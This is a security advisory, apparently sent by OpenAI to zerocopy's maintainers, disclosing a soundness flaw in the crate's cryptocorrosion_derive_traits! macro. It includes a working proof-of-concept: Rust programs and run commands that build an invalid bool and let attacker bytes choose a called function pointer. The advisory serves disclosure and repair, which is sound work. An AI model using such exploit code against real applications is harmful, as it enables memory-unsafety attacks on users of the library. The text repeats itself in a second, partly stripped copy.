The following was reported by OpenAI via email:
- Vulnerability Type: Safe API unsoundness / invalid-value construction / attacker-selected callback
- Affected Software: zerocopy (
cryptocorrosion_derive_traits!)
- Date: September 2026
- Discoverer: OpenAI (OutboundDisclosures@openai.com)
Summary
cryptocorrosion_derive_traits! applies item attributes such as #[cfg(...)] to the declared type, but leaves its generated unsafe trait implementations active. When that type definition is disabled and another type with the same name exists, those implementations resolve to the other type. The macro checks the disabled definition's field types rather than the actual type receiving the implementations.
A one-byte input can consequently produce an invalid Rust bool through safe FromBytes::read_from_bytes. A second demonstration gives a function-pointer wrapper the same incorrect parsing traits: serialized address bytes then select and invoke a harmless callback.
Classification and threat model: This is a security vulnerability conditional on the compiled application using configuration-selected, same-name types with this macro. After that build-time condition exists, an attacker needs only control of bytes passed to the safe parsing API to construct invalid values. The callback demonstration additionally supplies a known valid function address. It demonstrates control-flow influence, not an address-disclosure primitive, an ASLR bypass, or remote code execution.
Affected version: Reproduced using the published zerocopy 0.8.56 crate. Its release source contains the same affected code as audited revision 2dad389b030e9268d6645ac0bf0626b867e96068, which the source references below use. Earlier releases have not been exhaustively tested.
Environment: macOS arm64 (aarch64-apple-darwin), Rust 1.98.1 for native tests and nightly-2026-09-04 (rustc 1.100.0-nightly, a69a63265) for Miri. Miri used normal validity checks and strict provenance.
Sketch of the attack
An active Packet(bool) definition coexists with a disabled macro declaration named Packet whose field is a u8. The disabled declaration's u8 satisfies the macro's checks. The emitted FromBytes implementation attaches to Packet(bool), so byte 2 is treated as a valid boolean representation.
The same mistake can attach the parsing traits to Packet(fn()), allowing input bytes to supply a callable pointer.
Full repro
Save this as Cargo.toml:
[package]
name = "zerocopy-disclosure-poc"
version = "0.1.0"
edition = "2024"
[workspace]
[dependencies]
zerocopy = { version = "=0.8.56", features = ["derive", "std", "simd"] }
# Pin the derive dependencies to the tested versions.
proc-macro2 = { version = "=1.0.80", default-features = false }
quote = { version = "=1.0.40", default-features = false }
syn = { version = "=2.0.56", default-features = false }
unicode-ident = { version = "=1.0.22", default-features = false }
Invalid boolean from a safe parser
Save this as src/bin/cfg_macro_bool.rs:
#![forbid(unsafe_code)]
use zerocopy::FromBytes;
#[repr(transparent)]
struct Packet(bool);
zerocopy::cryptocorrosion_derive_traits! {
#[repr(C)]
#[cfg(any())]
struct Packet {
flag: u8,
}
}
fn main() {
let packet = Packet::read_from_bytes(&[2]).unwrap();
println!("{}", packet.0);
}
cfg(any()) is always false and makes the configuration choice deterministic. Run:
cargo +stable generate-lockfile
MIRIFLAGS='-Zmiri-strict-provenance' \
cargo +nightly-2026-09-04 miri run --locked --bin cfg_macro_bool
Miri reports:
error: Undefined Behavior: constructing invalid value of type zerocopy::Unalign<Packet>: at .0.0, encountered 0x02, but expected a boolean
The error occurs in Ref::read at zerocopy/src/ref.rs:769, called by FromBytes::read_from_bytes. The caller contains no unsafe code.
Input-selected callback
Save this as src/bin/cfg_macro_callback.rs:
#![forbid(unsafe_code)]
use std::sync::atomic::{AtomicBool, Ordering};
use zerocopy::FromBytes;
// An active representation with a field that must never come from raw bytes.
#[repr(transparent)]
struct Packet(fn());
// A disabled alternative representation. The macro still emits unsafe impls
// which bind to the active Packet above.
zerocopy::cryptocorrosion_derive_traits! {
#[repr(C)]
#[cfg(any())]
struct Packet {
address: usize,
}
}
static CALLED: AtomicBool = AtomicBool::new(false);
fn harmless_marker() {
CALLED.store(true, Ordering::Relaxed);
}
fn handle_message(attacker_bytes: &[u8]) {
let packet = Packet::read_from_bytes(attacker_bytes).unwrap();
(packet.0)();
}
fn main() {
// The simulated attacker knows a target function's address. In a remote
// setting this additionally requires an address disclosure or a fixed
// address; the demo obtains it directly so it is deterministic.
let address = harmless_marker as fn() as usize;
let attacker_bytes = std::hint::black_box(address.to_ne_bytes());
handle_message(&attacker_bytes);
assert!(CALLED.load(Ordering::Relaxed));
println!("attacker-provided bytes selected and invoked the harmless marker");
}
Run:
cargo +stable run --locked --release --bin cfg_macro_callback
Observed output:
attacker-provided bytes selected and invoked the harmless marker
The proof of concept obtains its own marker function's address and sends that address through the simulated input. A remote attacker would need a usable target address from some additional condition. No shellcode or operating-system command is executed.
Root cause
- The struct expansion emits
$(#[$attr])* only on the struct. Its unsafe impl TryFromBytes, FromZeros, and FromBytes blocks are separate, unconditional items.
- Their field bounds come from the tokens inside the macro invocation. Once
cfg removes the struct, the bare type name in each implementation can resolve to a different active definition. Its actual fields need not satisfy the generated safety argument.
- The union expansion uses the same attribute-placement pattern. The demonstrated invalid boolean and callback both use the struct arm.
Configuration gating must keep the type definition and every generated implementation together. The macro must not permit an implementation to bind to a different same-name item after conditional compilation.
Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
The following was reported by OpenAI via email:
cryptocorrosion_derive_traits!)Summary
cryptocorrosion_derive_traits!applies item attributes such as#[cfg(...)]to the declared type, but leaves its generated unsafe trait implementations active. When that type definition is disabled and another type with the same name exists, those implementations resolve to the other type. The macro checks the disabled definition's field types rather than the actual type receiving the implementations.A one-byte input can consequently produce an invalid Rust
boolthrough safeFromBytes::read_from_bytes. A second demonstration gives a function-pointer wrapper the same incorrect parsing traits: serialized address bytes then select and invoke a harmless callback.Classification and threat model: This is a security vulnerability conditional on the compiled application using configuration-selected, same-name types with this macro. After that build-time condition exists, an attacker needs only control of bytes passed to the safe parsing API to construct invalid values. The callback demonstration additionally supplies a known valid function address. It demonstrates control-flow influence, not an address-disclosure primitive, an ASLR bypass, or remote code execution.
Affected version: Reproduced using the published
zerocopy 0.8.56crate. Its release source contains the same affected code as audited revision2dad389b030e9268d6645ac0bf0626b867e96068, which the source references below use. Earlier releases have not been exhaustively tested.Environment: macOS arm64 (
aarch64-apple-darwin), Rust 1.98.1 for native tests and nightly-2026-09-04 (rustc 1.100.0-nightly,a69a63265) for Miri. Miri used normal validity checks and strict provenance.Sketch of the attack
An active
Packet(bool)definition coexists with a disabled macro declaration namedPacketwhose field is au8. The disabled declaration'su8satisfies the macro's checks. The emittedFromBytesimplementation attaches toPacket(bool), so byte2is treated as a valid boolean representation.The same mistake can attach the parsing traits to
Packet(fn()), allowing input bytes to supply a callable pointer.Full repro
Save this as
Cargo.toml:Invalid boolean from a safe parser
Save this as
src/bin/cfg_macro_bool.rs:cfg(any())is always false and makes the configuration choice deterministic. Run:cargo +stable generate-lockfile MIRIFLAGS='-Zmiri-strict-provenance' \ cargo +nightly-2026-09-04 miri run --locked --bin cfg_macro_boolMiri reports:
The error occurs in
Ref::readatzerocopy/src/ref.rs:769, called byFromBytes::read_from_bytes. The caller contains no unsafe code.Input-selected callback
Save this as
src/bin/cfg_macro_callback.rs:Run:
Observed output:
The proof of concept obtains its own marker function's address and sends that address through the simulated input. A remote attacker would need a usable target address from some additional condition. No shellcode or operating-system command is executed.
Root cause
$(#[$attr])*only on the struct. Itsunsafe impl TryFromBytes,FromZeros, andFromBytesblocks are separate, unconditional items.cfgremoves the struct, the bare type name in each implementation can resolve to a different active definition. Its actual fields need not satisfy the generated safety argument.Configuration gating must keep the type definition and every generated implementation together. The macro must not permit an implementation to bind to a different same-name item after conditional compilation.
Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.